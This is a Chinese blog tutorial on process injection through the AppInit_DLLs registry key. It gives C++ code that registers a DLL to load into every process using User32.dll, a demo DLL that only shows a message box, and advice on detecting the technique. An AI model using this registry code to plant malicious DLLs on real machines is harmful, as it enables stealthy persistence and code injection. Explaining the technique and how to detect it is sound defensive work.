进程注入之AppInit_DLLs注册表项

User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代码如下:


#include
#include
using namespace std; int test()
{
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\dll.dll";
DWORD dwData = 1;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
return 0;
} int main()
{
test();
//system("pause");
return 0;
}

复现过程

将以上代码编译为exe文件,放到测试机运行会产生一下注册项

修改过后如下图所示:


dll代码如下:


// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

运行cmd.exe,就会发现cmd.exe已经加载指定dll,并弹框。


此注册表项下的每个库都会加载到每个加载User32.dll的进程中。User32.dll是一个非常常见的库,用于存储对话框等图形元素。恶意软件可以在Appinit_Dlls注册表项下插入其恶意库的位置,以使另一个进程加载其库。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。

检查及清除方法

  • 监测加载User32.dll的进程的dll的加载,特别是查找不是通常的dll,或者不是正常加载的dll。
  • 监视AppInit_DLLs注册表值。
  • 监视和分析注册表编辑的API调用,如RegCreateKeyEx和RegSetValueEx。

最新文章

  1. android studio卡死问题
  2. linux磁盘存储命令 磁盘存储命令
  3. apache poi 生成excel
  4. 查询Oracle中字段名带"."的数据
  5. AngularJS初始化闪烁
  6. 把Flume的Source设置为 Spooling directory source
  7. lintcode 中等题:partition array 数组划分
  8. Spring 声明式事务,propagation属性列表及isolation(隔离级别)
  9. 4G通信技术LTE介绍
  10. MongoDB中ObjectId的误区,以及引起的一系列问题
  11. Google Chrome中的高性能网络(二)
  12. iphone5手机端内容超出iphone6没问题且超出内容为http://.....网址
  13. C#中的USB库 WinUSB
  14. c#并行任务多种优化方案分享(异步委托)
  15. Essential C#读书笔记
  16. ffmpeg命令行循环推流
  17. UVA - 1631 Locker 记忆化搜索
  18. BZOJ4894 天赋
  19. centos7下安装docker(15.8docker跨主机容器通信总结)
  20. Linux Shell函数返回值

热门文章

  1. webhook触发jenkins进行sonar检测
  2. 06.python语法入门--与用户交互、运算符
  3. Solution -「AT 3913」XOR Tree
  4. 花里胡哨之自定义linux终端前缀显示
  5. MYSQL优化的一些性能与技巧
  6. JVM学习——类加载机制(学习过程)
  7. Oracle表数据或结构误删还原
  8. 提高可测性-Mock平台设计和整体规划
  9. kali linux清理垃圾
  10. RENIX发送固定个数报文——网络测试仪实操